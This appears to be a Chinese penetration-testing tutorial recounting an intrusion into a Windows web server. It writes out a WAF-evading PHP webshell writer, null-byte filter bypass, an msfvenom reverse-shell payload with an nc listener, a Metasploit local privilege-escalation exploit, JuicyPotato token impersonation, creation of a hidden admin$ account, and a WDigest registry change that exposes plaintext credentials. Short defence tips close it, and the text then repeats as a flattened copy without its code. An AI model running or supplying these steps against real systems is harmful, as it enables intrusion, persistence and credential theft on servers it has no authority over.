记一次Windows渗透提权历程
字数 1197 2025-08-26 22:11:34

Windows渗透提权实战教学文档

1. 信息收集与初始访问

1.1 目标识别

  • 使用Censys、Shodan、Zoomeye等网络空间搜索引擎
  • 通过robots.txt文件识别敏感路径
  • 重点关注存在已知漏洞的系统

1.2 初始入侵

  • 利用代码执行漏洞写入WebShell
  • 绕过WAF技巧示例:
    file_put_contents('test.php','<?php function a(){ return "assert"; } $a=a(); $aa = array($_POST["1"]); call_user_func_array($a,$a=$aa); ?>');
    
  • 使用file_put_con%00tents等null字节截断技术绕过过滤

2. 权限评估与提权策略

2.1 权限检查

  • 执行whoami查看当前用户权限
  • 检查open_basedir限制
  • 执行netstat -naonet view /domain检查内网环境

2.2 提权方法尝试

2.2.1 MySQL提权

  • 适用于知道数据库凭据的情况
  • 当前场景限制:无法读取数据库配置文件

2.2.2 反弹Shell提权

  • 使用nc监听:
    nc -vv -l 12388
    
  • 生成反弹Shell:
    msfvenom -p windows/shell/reverse_tcp lhost=IP lport=12388 -a x86 --platform win -f exe -o a.exe
    

2.2.3 系统补丁分析提权

  1. 获取系统信息:
    systeminfo > sysinfo.txt
    
  2. 使用windows-exploit-suggester.py分析缺失补丁
  3. 尝试MSF中的相关exploit:
    use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
    set session 1
    run
    

3. 高级提权技术

3.1 令牌模拟攻击

  • 检查可用权限:
    whoami /priv
    
  • 重点关注SeImpersonatePrivilegeSeAssignPrimaryTokenPrivilege

3.2 Rotten Potato/Juicy Potato提权

  1. 使用JuicyPotato:
    JuicyPotato.exe -t t -p c:\windows\system32\cmd.exe -l 1111 -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}
    
  2. WebShell版Juicy Potato:
    JuicyPotato.exe -p whoami
    

3.3 创建隐藏管理员账户

  1. 添加用户:
    net user admin$ password
    
  2. 提升权限:
    net localgroup administrators admin$ /add
    

4. 权限维持技术

4.1 凭证获取

  • 修改注册表启用WDigest明文凭证存储:
    reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
    
    Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1
    

4.2 登录监控

  • 创建登录监控脚本:
    @echo off
    date /t >> C:\WINDOWS\loginlog.log
    time /t >> C:\WINDOWS\loginlog.log
    netstat -an | find ":3389" | find "ESTABLISHED" >> C:\WINDOWS\loginlog.log
    

5. 防御规避技术

  • 使用隐藏账户(账户名后加$)
  • 修改文件权限避免被发现
  • 使用非常规端口进行远程连接

6. 工具与资源

  1. 漏洞利用工具:

    • Metasploit Framework
    • K8tools
    • Windows-Exploit-Suggester
  2. 提权工具:

    • RottenPotato: https://github.com/foxglovesec/RottenPotato
    • RottenPotatoNG: https://github.com/breenmachine/RottenPotatoNG
    • JuicyPotato: https://github.com/ohpe/juicy-potato
  3. 参考文章:

    • 三好学生的Juicy Potato使用指南

7. 总结与最佳实践

  1. 渗透测试流程:

    • 信息收集 → 初始访问 → 权限提升 → 权限维持 → 横向移动
  2. 关键点:

    • 始终检查当前权限和可用特权
    • 系统补丁分析是提权的重要突破口
    • 令牌模拟是Windows提权的有效手段
    • 权限维持需要考虑隐蔽性
  3. 防御建议:

    • 及时安装系统补丁
    • 限制服务账户权限
    • 禁用不必要的特权
    • 监控异常账户活动
Windows渗透提权实战教学文档 1. 信息收集与初始访问 1.1 目标识别 使用Censys、Shodan、Zoomeye等网络空间搜索引擎 通过robots.txt文件识别敏感路径 重点关注存在已知漏洞的系统 1.2 初始入侵 利用代码执行漏洞写入WebShell 绕过WAF技巧示例: 使用file_ put_ con%00tents等null字节截断技术绕过过滤 2. 权限评估与提权策略 2.1 权限检查 执行 whoami 查看当前用户权限 检查 open_basedir 限制 执行 netstat -nao 和 net view /domain 检查内网环境 2.2 提权方法尝试 2.2.1 MySQL提权 适用于知道数据库凭据的情况 当前场景限制:无法读取数据库配置文件 2.2.2 反弹Shell提权 使用nc监听: 生成反弹Shell: 2.2.3 系统补丁分析提权 获取系统信息: 使用windows-exploit-suggester.py分析缺失补丁 尝试MSF中的相关exploit: 3. 高级提权技术 3.1 令牌模拟攻击 检查可用权限: 重点关注 SeImpersonatePrivilege 和 SeAssignPrimaryTokenPrivilege 3.2 Rotten Potato/Juicy Potato提权 使用JuicyPotato: WebShell版Juicy Potato: 3.3 创建隐藏管理员账户 添加用户: 提升权限: 4. 权限维持技术 4.1 凭证获取 修改注册表启用WDigest明文凭证存储: 或 4.2 登录监控 创建登录监控脚本: 5. 防御规避技术 使用隐藏账户(账户名后加$) 修改文件权限避免被发现 使用非常规端口进行远程连接 6. 工具与资源 漏洞利用工具: Metasploit Framework K8tools Windows-Exploit-Suggester 提权工具: RottenPotato: https://github.com/foxglovesec/RottenPotato RottenPotatoNG: https://github.com/breenmachine/RottenPotatoNG JuicyPotato: https://github.com/ohpe/juicy-potato 参考文章: 三好学生的Juicy Potato使用指南 7. 总结与最佳实践 渗透测试流程: 信息收集 → 初始访问 → 权限提升 → 权限维持 → 横向移动 关键点: 始终检查当前权限和可用特权 系统补丁分析是提权的重要突破口 令牌模拟是Windows提权的有效手段 权限维持需要考虑隐蔽性 防御建议: 及时安装系统补丁 限制服务账户权限 禁用不必要的特权 监控异常账户活动